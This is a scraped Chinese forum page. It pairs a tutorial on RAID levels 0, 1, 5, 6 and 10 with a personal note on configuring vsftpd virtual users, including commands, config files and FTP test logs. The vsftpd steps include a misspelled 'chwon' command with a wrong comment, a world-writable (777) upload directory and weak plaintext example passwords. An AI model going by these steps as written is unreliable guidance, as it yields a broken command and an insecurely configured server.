RAID 0,无冗余无校验的磁盘阵列。数据同时分布在各个磁盘上,没有容错能力,读写速度在RAID中最快,但因为任何一个磁盘损坏都会使整个RAID系统失效,所以安全系数反倒比单个的磁盘还要低。一般用在对数据安全要求不高,但对速度要求很高的场合,如:大型游戏、图形图像编辑等。此种RAID模式至少需要2个磁盘,而更多的磁盘则能提供更高效的数据传输。条带化有很好的性能。在RAID0(条带化)中数据将使用切片的方式被写入到磁盘。一半的内容放在一个磁盘上,另一半内容将被写入到另一个磁盘。 假设我们有2个磁盘驱动器,例如,如果我们将数据“TECMINT”写到逻辑卷中,“T”将被保存在第一盘中,“E”将保存在第二盘,'C'将被保存在第一盘,“M”将保存在第二盘,它会一直继续此循环过程。(LCTT 译注:实际上不可能按字节切片,是按数据块切片的。)


在这种情况下,如果驱动器中的任何一个发生故障,我们就会丢失数据,因为一个盘中只有一半的数据,不能用于重建 RAID。不过,当比较写入速度和性能时,RAID 0 是非常好的。创建 RAID 0(条带化)至少需要2个磁盘。如果你的数据是非常宝贵的,那么不要使用此 RAID 级别。特点:
[]高性能。[/][]RAID 0 中容量零损失。[/][]零容错。[/][]写和读有很高的性能。[/]
 
Raid 1



RAID 1,镜象磁盘阵列。每一个磁盘都有一个镜像磁盘,镜像磁盘随时保持与原磁盘的内容一致。RAID1具有最高的安全性,但只有一半的磁盘空间被用来存储数据。主要用在对数据安全性要求很高,而且要求能够快速恢复被损坏的数据的场合。此种RAID模式每组仅需要2个磁盘。镜像可以对我们的数据做一份相同的副本。假设我们有两个2TB的硬盘驱动器,我们总共有4TB,但在镜像中,但是放在RAID控制器后面的驱动器形成了一个逻辑驱动器,我们只能看到这个逻辑驱动器有2TB。当我们保存数据时,它将同时写入这两个2TB驱动器中。创建 RAID 1(镜像化)最少需要两个驱动器。如果发生磁盘故障,我们可以通过更换一个新的磁盘恢复 RAID 。如果在 RAID 1 中任何一个磁盘发生故障,我们可以从另一个磁盘中获取相同的数据,因为另外的磁盘中也有相同的数据。所以是零数据丢失。特点:
[]良好的性能。[/][]总容量丢失一半可用空间。[/][]完全容错。[/][]重建会更快。[/][]写性能变慢。[/][]读性能变好。[/][]能用于操作系统和小规模的数据库[/]
Raid 5



RAID 5, 无独立校验盘的奇偶校验磁盘阵列。同样采用奇偶校验来检查错误,但没有独立的校验盘,而是使用了一种特殊的算法,可以计算出任何一个带区校验块的存放位置。这样就可以确保任何对校验块进行的读写操作都会在所有的RAID磁盘中进行均衡,既提高了系统可靠性也消除了产生瓶颈的可能,对大小数据量的读写都有很好的性能。为了能跨越数组里的所有磁盘来写入数据及校验码信息,RAID 5设定最少需要三个磁盘,因此在这种情况下,会有1/3的磁盘容量会被备份校验码占用而无法使用,当有四个磁盘时,则需要1/4的容量作为备份,才能让最坏情况的发生率降到最低。当磁盘的数目增多时,每个磁盘上被备份校验码占用的磁盘容量就会降低,但是磁盘故障的风险率也同时增加了,一但同时有两个磁盘故障,则无法进行数据恢复。RAID 5多用于企业级。 RAID 5的以分布式奇偶校验的方式工作。奇偶校验信息将被用于重建数据。它从剩下的正常驱动器上的信息来重建。在驱动器发生故障时,这可以保护我们的数据。假设我们有4个驱动器,如果一个驱动器发生故障而后我们更换发生故障的驱动器后,我们可以从奇偶校验中重建数据到更换的驱动器上。奇偶校验信息存储在所有的4个驱动器上,如果我们有4个 1TB 的驱动器。奇偶校验信息将被存储在每个驱动器的256G中,而其它768GB是用户自己使用的。单个驱动器故障后,RAID 5依旧正常工作,如果驱动器损坏个数超过1个会导致数据的丢失。特点:
[]性能卓越[/][]读速度将非常好。[/][]写速度处于平均水准,如果我们不使用硬件 RAID 控制器,写速度缓慢。[/][]从所有驱动器的奇偶校验信息中重建。[/][]完全容错。[/][]1个磁盘空间将用于奇偶校验。[/][]可以被用在文件服务器,Web服务器,非常重要的备份中。[/]
Raid 6




RAID 6和RAID 5相似但它有两个分布式奇偶校验。大多用在大数量的阵列中。我们最少需要4个驱动器,即使有2个驱动器发生故障,我们依然可以更换新的驱动器后重建数据。它比RAID 5慢,因为它将数据同时写到4个驱动器上。当我们使用硬件 RAID 控制器时速度就处于平均水准。如果我们有6个的1TB驱动器,4个驱动器将用于数据保存,2个驱动器将用于校验。特点:
[]性能不佳。[/][]读的性能很好。[/][]如果我们不使用硬件 RAID 控制器写的性能会很差。[/][]从两个奇偶校验驱动器上重建。[/][]完全容错。[/][]2个磁盘空间将用于奇偶校验。[/][]可用于大型阵列。[/][]用于备份和视频流中,用于大规模。[/]
Raid 10



RAID 10可以被称为1 + 0或0 +1。它将做镜像+条带两个工作。在 RAID 10中首先做镜像然后做条带。在 RAID 01上首先做条带,然后做镜像。RAID 10比RAID 01好。假设,我们有4个驱动器。当我逻辑卷上写数据时,它会使用镜像和条带的方式将数据保存到4个驱动器上。

如果我在 RAID 10 上写入数据“TECMINT”,数据将使用如下方式保存。首先将“T”同时写入两个磁盘,“E”也将同时写入另外两个磁盘,所有数据都写入两块磁盘。这样可以将每个数据复制到另外的磁盘。

同时它将使用 RAID 0 方式写入数据,遵循将“T”写入第一组盘,“E”写入第二组盘。再次将“C”写入第一组盘,“M”到第二组盘。特点:
[]良好的读写性能。[/][]总容量丢失一半的可用空间。[/][]容错。[/][]从副本数据中快速重建。[/][]由于其高性能和高可用性,常被用于数据库的存储中。[/]
下面附录几张参考表:
针对不同RAID 模式在实际运用中可以使用的磁盘空间分别有多少,在用列表举例说明:




所有Raid级别的一些特性: 查看全部


一、Raid介绍


RAID是(Redundent Array of Inexpensive Disks)的缩写,直译为“廉价冗余磁盘阵列”,也简称为“磁盘阵列”。后来RAID中的字母I被改作了Independent,RAID就成了“独立冗余磁盘阵列”,但这只是名称的变化,实质性的内容并没有改变。可以把RAID理解成一种使用磁盘驱动器的方法,它将一组磁盘驱动器用某种逻辑方式联系起来,作为逻辑上的一个磁盘驱动器来使用。
RAID 包含一组或者一个集合甚至一个阵列。使用一组磁盘结合驱动器组成 RAID 阵列或 RAID 集。将至少两个磁盘连接到一个 RAID 控制器,而成为一个逻辑卷,也可以将多个驱动器放在一个组中。一组磁盘只能使用一个 RAID 级别。使用 RAID 可以提高服务器的性能。不同 RAID 的级别,性能会有所不同。它通过容错和高可用性来保存我们的数据。
RAID的优点:
    []传输速率高。在部分RAID模式中,可以让很多磁盘驱动器同时传输数据,而这些磁盘驱动器在逻辑上又是一个磁盘驱动器,所以使用RAID可以达到单个的磁盘驱动器几倍的速率。因为CPU的速度增长很快,而磁盘驱动器的数据传输速率无法大幅提高,所以需要有一种方案解决二者之间的矛盾。[/][]更高的安全性。相较于普通磁盘驱动器很多RAID模式都提供了多种数据修复功能,当RAID中的某一磁盘驱动器出现严重故障无法使用时,可以通过RAID中的其他磁盘驱动器来恢复此驱动器中的数据,而普通磁盘驱动器无法实现,这是使用RAID的第二个原因。[/]


二、Raid概念


软件 RAID 和硬件 RAID
软件 RAID 的性能较低,因为其使用主机的资源。 需要加载 RAID 软件以从软件 RAID 卷中读取数据。在加载 RAID 软件前,操作系统需要引导起来才能加载 RAID 软件。在软件 RAID 中无需物理硬件。零成本投资。
硬件 RAID 的性能较高。他们采用 PCI Express 卡物理地提供有专用的 RAID 控制器。它不会使用主机资源。他们有 NVRAM 用于缓存的读取和写入。缓存用于 RAID 重建时,即使出现电源故障,它会使用后备的电池电源保持缓存。对于大规模使用是非常昂贵的投资。
硬件 RAID 卡如下所示:
yraid.png

几个重要Raid概念:
    []校验方式用在 RAID 重建中从校验所保存的信息中重新生成丢失的内容。 RAID 5,RAID 6 基于校验。[/][]条带化是将切片数据随机存储到多个磁盘。它不会在单个磁盘中保存完整的数据。如果我们使用2个磁盘,则每个磁盘存储我们的一半数据。[/][]镜像被用于 RAID 1 和 RAID 10。镜像会自动备份数据。在 RAID 1 中,它会保存相同的内容到其他盘上。[/][]热备份只是我们的服务器上的一个备用驱动器,它可以自动更换发生故障的驱动器。在我们的阵列中,如果任何一个驱动器损坏,热备份驱动器会自动用于重建 RAID。[/][]是 RAID 控制器每次读写数据时的最小单位,最小 4KB。通过定义块大小,我们可以增加 I/O 性能。[/]


三、Raid级别


RAID有不同的级别,下面列举比较常用的模式:
    []RAID0 = 条带化[/][]RAID1 = 镜像[/][]RAID5 = 单磁盘分布式奇偶校验[/][]RAID6 = 双磁盘分布式奇偶校验[/][]RAID10 = 镜像 + 条带。(嵌套RAID)[/]

 
Raid 0
raid0.png
RAID 0,无冗余无校验的磁盘阵列。数据同时分布在各个磁盘上,没有容错能力,读写速度在RAID中最快,但因为任何一个磁盘损坏都会使整个RAID系统失效,所以安全系数反倒比单个的磁盘还要低。一般用在对数据安全要求不高,但对速度要求很高的场合,如:大型游戏、图形图像编辑等。此种RAID模式至少需要2个磁盘,而更多的磁盘则能提供更高效的数据传输。
条带化有很好的性能。在RAID0(条带化)中数据将使用切片的方式被写入到磁盘。一半的内容放在一个磁盘上,另一半内容将被写入到另一个磁盘。 
假设我们有2个磁盘驱动器,例如,如果我们将数据“TECMINT”写到逻辑卷中,“T”将被保存在第一盘中,“E”将保存在第二盘,'C'将被保存在第一盘,“M”将保存在第二盘,它会一直继续此循环过程。(LCTT 译注:实际上不可能按字节切片,是按数据块切片的。)


在这种情况下,如果驱动器中的任何一个发生故障,我们就会丢失数据,因为一个盘中只有一半的数据,不能用于重建 RAID。不过,当比较写入速度和性能时,RAID 0 是非常好的。创建 RAID 0(条带化)至少需要2个磁盘。如果你的数据是非常宝贵的,那么不要使用此 RAID 级别。
特点:
    []高性能。[/][]RAID 0 中容量零损失。[/][]零容错。[/][]写和读有很高的性能。[/]

 
Raid 1
raid1.png
RAID 1,镜象磁盘阵列。每一个磁盘都有一个镜像磁盘,镜像磁盘随时保持与原磁盘的内容一致。RAID1具有最高的安全性,但只有一半的磁盘空间被用来存储数据。主要用在对数据安全性要求很高,而且要求能够快速恢复被损坏的数据的场合。此种RAID模式每组仅需要2个磁盘。
镜像可以对我们的数据做一份相同的副本。假设我们有两个2TB的硬盘驱动器,我们总共有4TB,但在镜像中,但是放在RAID控制器后面的驱动器形成了一个逻辑驱动器,我们只能看到这个逻辑驱动器有2TB。
当我们保存数据时,它将同时写入这两个2TB驱动器中。创建 RAID 1(镜像化)最少需要两个驱动器。如果发生磁盘故障,我们可以通过更换一个新的磁盘恢复 RAID 。如果在 RAID 1 中任何一个磁盘发生故障,我们可以从另一个磁盘中获取相同的数据,因为另外的磁盘中也有相同的数据。所以是零数据丢失。
特点:
    []良好的性能。[/][]总容量丢失一半可用空间。[/][]完全容错。[/][]重建会更快。[/][]写性能变慢。[/][]读性能变好。[/][]能用于操作系统和小规模的数据库[/]

Raid 5
raid5.png
RAID 5, 无独立校验盘的奇偶校验磁盘阵列。同样采用奇偶校验来检查错误,但没有独立的校验盘,而是使用了一种特殊的算法,可以计算出任何一个带区校验块的存放位置。这样就可以确保任何对校验块进行的读写操作都会在所有的RAID磁盘中进行均衡,既提高了系统可靠性也消除了产生瓶颈的可能,对大小数据量的读写都有很好的性能。为了能跨越数组里的所有磁盘来写入数据及校验码信息,RAID 5设定最少需要三个磁盘,因此在这种情况下,会有1/3的磁盘容量会被备份校验码占用而无法使用,当有四个磁盘时,则需要1/4的容量作为备份,才能让最坏情况的发生率降到最低。当磁盘的数目增多时,每个磁盘上被备份校验码占用的磁盘容量就会降低,但是磁盘故障的风险率也同时增加了,一但同时有两个磁盘故障,则无法进行数据恢复。
RAID 5多用于企业级。 RAID 5的以分布式奇偶校验的方式工作。奇偶校验信息将被用于重建数据。它从剩下的正常驱动器上的信息来重建。在驱动器发生故障时,这可以保护我们的数据。
假设我们有4个驱动器,如果一个驱动器发生故障而后我们更换发生故障的驱动器后,我们可以从奇偶校验中重建数据到更换的驱动器上。奇偶校验信息存储在所有的4个驱动器上,如果我们有4个 1TB 的驱动器。奇偶校验信息将被存储在每个驱动器的256G中,而其它768GB是用户自己使用的。单个驱动器故障后,RAID 5依旧正常工作,如果驱动器损坏个数超过1个会导致数据的丢失。
特点:
    []性能卓越[/][]读速度将非常好。[/][]写速度处于平均水准,如果我们不使用硬件 RAID 控制器,写速度缓慢。[/][]从所有驱动器的奇偶校验信息中重建。[/][]完全容错。[/][]1个磁盘空间将用于奇偶校验。[/][]可以被用在文件服务器,Web服务器,非常重要的备份中。[/]

Raid 6

raid6.png
RAID 6和RAID 5相似但它有两个分布式奇偶校验。大多用在大数量的阵列中。我们最少需要4个驱动器,即使有2个驱动器发生故障,我们依然可以更换新的驱动器后重建数据。
它比RAID 5慢,因为它将数据同时写到4个驱动器上。当我们使用硬件 RAID 控制器时速度就处于平均水准。如果我们有6个的1TB驱动器,4个驱动器将用于数据保存,2个驱动器将用于校验。
特点:
    []性能不佳。[/][]读的性能很好。[/][]如果我们不使用硬件 RAID 控制器写的性能会很差。[/][]从两个奇偶校验驱动器上重建。[/][]完全容错。[/][]2个磁盘空间将用于奇偶校验。[/][]可用于大型阵列。[/][]用于备份和视频流中,用于大规模。[/]

Raid 10
raid10.png
RAID 10可以被称为1 + 0或0 +1。它将做镜像+条带两个工作。在 RAID 10中首先做镜像然后做条带。在 RAID 01上首先做条带,然后做镜像。RAID 10比RAID 01好。
假设,我们有4个驱动器。当我逻辑卷上写数据时,它会使用镜像和条带的方式将数据保存到4个驱动器上。

如果我在 RAID 10 上写入数据“TECMINT”,数据将使用如下方式保存。首先将“T”同时写入两个磁盘,“E”也将同时写入另外两个磁盘,所有数据都写入两块磁盘。这样可以将每个数据复制到另外的磁盘。

同时它将使用 RAID 0 方式写入数据,遵循将“T”写入第一组盘,“E”写入第二组盘。再次将“C”写入第一组盘,“M”到第二组盘。
特点:
    []良好的读写性能。[/][]总容量丢失一半的可用空间。[/][]容错。[/][]从副本数据中快速重建。[/][]由于其高性能和高可用性,常被用于数据库的存储中。[/]

下面附录几张参考表:
针对不同RAID 模式在实际运用中可以使用的磁盘空间分别有多少,在用列表举例说明:
raid_disk.png

所有Raid级别的一些特性:
raid_td.png

vsftp虚拟用户建立 | (干货笔记)

开源技术采菊篱下 发表了文章 • 0 个评论 • 700 次浏览 • 2015-11-26 00:33 • 来自相关话题

1.安装vsftpd服务,和测试命令ftp

# yum -y install vsftpd
# yum -y install ftp

2.建立虚拟用户的用户名/密码数据库

vsftpd服务的虚拟用户数据库使用的是Berkeley DB格式的数据文件。建立数据库文件要用到db_load命令工具,所以要安装db4软件包# yum -y install db4*(一)建立文本格式的用户名/密码列表文件,奇数行为用户名,偶数行对应为上一行用户名密码。# vi /etc/vsftpd/vusers.list
mike
123.com
john
123.com
kankan
kankan[i]bj[/i]com(二)用db_load工具将列表文件转化为DB数据库文件。# cd /etc/vsftpd/
# db_load -T -t hash -f vusers.list vusers.db
# chwon /etc/vsftpd/vuser.* //降低文件权限以提高安全性

3.建立FTP访问根目录以及虚拟用户对应的系统账号

# useradd -d /data/pub -s /sbin/nologin ftpuser
# useradd -d /home/ytb/www/cms.yuntongbu/ -s /sbin/nologin kankanftpuser
# chmod 777 /data/pub
创建测试文件
#ls -lh /boot > /data/pub/vutest.file

4.建立PAM认证文件

#vi /etc/pam.d/vsftpd.vu 添加如下内容
#%PAM-1.0
auth required pam_userdb.so db=/etc/vsftpd/vusers
account required pam_userdb.so db=/etc/vsftpd/vusers

5.修改vsftpd的主配置文件,添加对虚拟用户的支持。

# vi /etc/vsftpd/vsftpd.conf #内容如下
anonymous_enable=NO
local_enable=YES
anon_umask=022
write_enable=YES
guest_enable=YES
guest_username=ftpuser
dirmessage_enable=YES
xferlog_enable=YES
connect_from_port_20=YES
xferlog_std_format=YES
listen=YES
pam_service_name=vsftpd.vu
userlist_enable=YES
tcp_wrappers=YES

6.为不同的虚拟用户配置独立的配置文件

# vi /etc/vsftpd/vsftpd.conf #在末尾添加如下一行
user_config_dir=/etc/vsftpd/vusers_dir

7.为mike和john建立独立配置目录及文件

# mkdir -p /etc/vsftpd/vusers_dir
# cd /etc/vsftpd/vusers_dir
# vi john [size=16]#添加如下内容[/size]
anon_upload_enable=YES
anon_mkdir_write_enable=YES
#touch mike 建立空文件,默认配置文件中的权限

8.启动vsftpd服务

# service vsftpd start

权限说明:权限:john可以登录到ftp服务器,可以浏览,下载,也可以上传文件
mike可以登录到ftp服务器,可以浏览,下载,但是不可以上传本地测试:
(一)john的测试[root@YTB-APP-1 ~]# ls
anaconda-ks.cfg bin importipas.sh install.log install.log.syslog my.cnf.bak
[root@YTB-APP-1 ~]# ftp localhost
Trying ::1...
ftp: connect to address ::1Connection refused
Trying 127.0.0.1...
Connected to localhost (127.0.0.1).
220 (vsFTPd 2.2.2)
Name (localhost:ytb): john
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
227 Entering Passive Mode (127,0,0,1,82,29).
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 574 Jul 01 14:50 vutest.file
226 Directory send OK.
ftp> get vutest.file
local: vutest.file remote: vutest.file
227 Entering Passive Mode (127,0,0,1,103,164).
150 Opening BINARY mode data connection for vutest.file (574 bytes).
226 Transfer complete.
574 bytes received in 3.4e-05 secs (16882.35 Kbytes/sec)
ftp> put install.log
local: install.log remote: install.log
227 Entering Passive Mode (127,0,0,1,115,162).
150 Ok to send data.
226 Transfer complete.
29388 bytes sent in 0.024 secs (1222.97 Kbytes/sec)
ftp> quit
221 Goodbye.
[root@YTB-APP-1 ~]# ls
anaconda-ks.cfg bin importipas.sh install.log install.log.syslog my.cnf.bak vutest.file
[root@YTB-APP-1 ~]# ls /data/pub/
install.log vutest.file
[root@YTB-APP-1 ~]# (二)mike的测试[root@YTB-APP-1 ~]# ls
anaconda-ks.cfg bin importipas.sh install.log install.log.syslog my.cnf.bak vutest.file
[root@YTB-APP-1 ~]# rm -rf vutest.file
[root@YTB-APP-1 ~]# ftp localhost
Trying ::1...
ftp: connect to address ::1Connection refused
Trying 127.0.0.1...
Connected to localhost (127.0.0.1).
220 (vsFTPd 2.2.2)
Name (localhost:ytb): mike
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
227 Entering Passive Mode (127,0,0,1,223,141).
150 Here comes the directory listing.
-rw-r--r-- 1 503 503 29388 Jul 03 02:23 install.log
-rw-r--r-- 1 0 0 574 Jul 01 14:50 vutest.file
226 Directory send OK.
ftp> get vutest.file
local: vutest.file remote: vutest.file
227 Entering Passive Mode (127,0,0,1,154,230).
150 Opening BINARY mode data connection for vutest.file (574 bytes).
226 Transfer complete.
574 bytes received in 3.8e-05 secs (15105.26 Kbytes/sec)
ftp> put install.log.syslog
local: install.log.syslog remote: install.log.syslog
227 Entering Passive Mode (127,0,0,1,227,247).
550 Permission denied.
ftp> quit
221 Goodbye.
[root@YTB-APP-1 ~]# ls
anaconda-ks.cfg bin importipas.sh install.log install.log.syslog my.cnf.bak vutest.file
[root@YTB-APP-1 ~]# ls /dat/pub/
ls: cannot access /dat/pub/: No such file or directory
[root@YTB-APP-1 ~]# ls /data/pub/
install.log vutest.file
[root@YTB-APP-1 ~]# 好久之前的笔记,分享出来,方便后来者! 查看全部


1.安装vsftpd服务,和测试命令ftp


# yum -y install vsftpd
# yum -y install ftp


2.建立虚拟用户的用户名/密码数据库


vsftpd服务的虚拟用户数据库使用的是Berkeley DB格式的数据文件。建立数据库文件要用到db_load命令工具,所以要安装db4软件包
# yum -y install db4*
(一)建立文本格式的用户名/密码列表文件,奇数行为用户名,偶数行对应为上一行用户名密码。
# vi /etc/vsftpd/vusers.list
mike
123.com
john
123.com
kankan
kankan[i]bj[/i]com
(二)用db_load工具将列表文件转化为DB数据库文件。
# cd /etc/vsftpd/
# db_load -T -t hash -f vusers.list vusers.db
# chwon /etc/vsftpd/vuser.* //降低文件权限以提高安全性


3.建立FTP访问根目录以及虚拟用户对应的系统账号


# useradd -d /data/pub -s /sbin/nologin  ftpuser
# useradd -d /home/ytb/www/cms.yuntongbu/ -s /sbin/nologin kankanftpuser
# chmod 777 /data/pub
创建测试文件
#ls -lh /boot > /data/pub/vutest.file


4.建立PAM认证文件


#vi /etc/pam.d/vsftpd.vu  添加如下内容
#%PAM-1.0
auth required pam_userdb.so db=/etc/vsftpd/vusers
account required pam_userdb.so db=/etc/vsftpd/vusers


5.修改vsftpd的主配置文件,添加对虚拟用户的支持。


# vi /etc/vsftpd/vsftpd.conf   #内容如下
anonymous_enable=NO
local_enable=YES
anon_umask=022
write_enable=YES
guest_enable=YES
guest_username=ftpuser
dirmessage_enable=YES
xferlog_enable=YES
connect_from_port_20=YES
xferlog_std_format=YES
listen=YES
pam_service_name=vsftpd.vu
userlist_enable=YES
tcp_wrappers=YES


6.为不同的虚拟用户配置独立的配置文件


# vi /etc/vsftpd/vsftpd.conf   #在末尾添加如下一行
user_config_dir=/etc/vsftpd/vusers_dir


7.为mike和john建立独立配置目录及文件


# mkdir -p  /etc/vsftpd/vusers_dir
# cd /etc/vsftpd/vusers_dir
# vi john [size=16]#添加如下内容[/size]
anon_upload_enable=YES
anon_mkdir_write_enable=YES
#touch mike 建立空文件,默认配置文件中的权限


8.启动vsftpd服务


# service vsftpd start

权限说明:
权限:john可以登录到ftp服务器,可以浏览,下载,也可以上传文件
mike可以登录到ftp服务器,可以浏览,下载,但是不可以上传
本地测试:
(一)john的测试
[root@YTB-APP-1 ~]# ls
anaconda-ks.cfg bin importipas.sh install.log install.log.syslog my.cnf.bak
[root@YTB-APP-1 ~]# ftp localhost
Trying ::1...
ftp: connect to address ::1Connection refused
Trying 127.0.0.1...
Connected to localhost (127.0.0.1).
220 (vsFTPd 2.2.2)
Name (localhost:ytb): john
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
227 Entering Passive Mode (127,0,0,1,82,29).
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 574 Jul 01 14:50 vutest.file
226 Directory send OK.
ftp> get vutest.file
local: vutest.file remote: vutest.file
227 Entering Passive Mode (127,0,0,1,103,164).
150 Opening BINARY mode data connection for vutest.file (574 bytes).
226 Transfer complete.
574 bytes received in 3.4e-05 secs (16882.35 Kbytes/sec)
ftp> put install.log
local: install.log remote: install.log
227 Entering Passive Mode (127,0,0,1,115,162).
150 Ok to send data.
226 Transfer complete.
29388 bytes sent in 0.024 secs (1222.97 Kbytes/sec)
ftp> quit
221 Goodbye.
[root@YTB-APP-1 ~]# ls
anaconda-ks.cfg bin importipas.sh install.log install.log.syslog my.cnf.bak vutest.file
[root@YTB-APP-1 ~]# ls /data/pub/
install.log vutest.file
[root@YTB-APP-1 ~]#
(二)mike的测试
[root@YTB-APP-1 ~]# ls
anaconda-ks.cfg bin importipas.sh install.log install.log.syslog my.cnf.bak vutest.file
[root@YTB-APP-1 ~]# rm -rf vutest.file
[root@YTB-APP-1 ~]# ftp localhost
Trying ::1...
ftp: connect to address ::1Connection refused
Trying 127.0.0.1...
Connected to localhost (127.0.0.1).
220 (vsFTPd 2.2.2)
Name (localhost:ytb): mike
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
227 Entering Passive Mode (127,0,0,1,223,141).
150 Here comes the directory listing.
-rw-r--r-- 1 503 503 29388 Jul 03 02:23 install.log
-rw-r--r-- 1 0 0 574 Jul 01 14:50 vutest.file
226 Directory send OK.
ftp> get vutest.file
local: vutest.file remote: vutest.file
227 Entering Passive Mode (127,0,0,1,154,230).
150 Opening BINARY mode data connection for vutest.file (574 bytes).
226 Transfer complete.
574 bytes received in 3.8e-05 secs (15105.26 Kbytes/sec)
ftp> put install.log.syslog
local: install.log.syslog remote: install.log.syslog
227 Entering Passive Mode (127,0,0,1,227,247).
550 Permission denied.
ftp> quit
221 Goodbye.
[root@YTB-APP-1 ~]# ls
anaconda-ks.cfg bin importipas.sh install.log install.log.syslog my.cnf.bak vutest.file
[root@YTB-APP-1 ~]# ls /dat/pub/
ls: cannot access /dat/pub/: No such file or directory
[root@YTB-APP-1 ~]# ls /data/pub/
install.log vutest.file
[root@YTB-APP-1 ~]#
好久之前的笔记,分享出来,方便后来者!
Linux是一套免费使用和自由传播的类Unix操作系统,是一个基于POSIX和UNIX的多用户、多任务、支持多线程和多CPU的操作系统。它能运行主要的UNIX工具软件、应用程序和网络协议。它支持32位和64位硬件。Linux继承了Unix以网络为核心的设计思想,是一个性能稳定的多用户网络操作系统。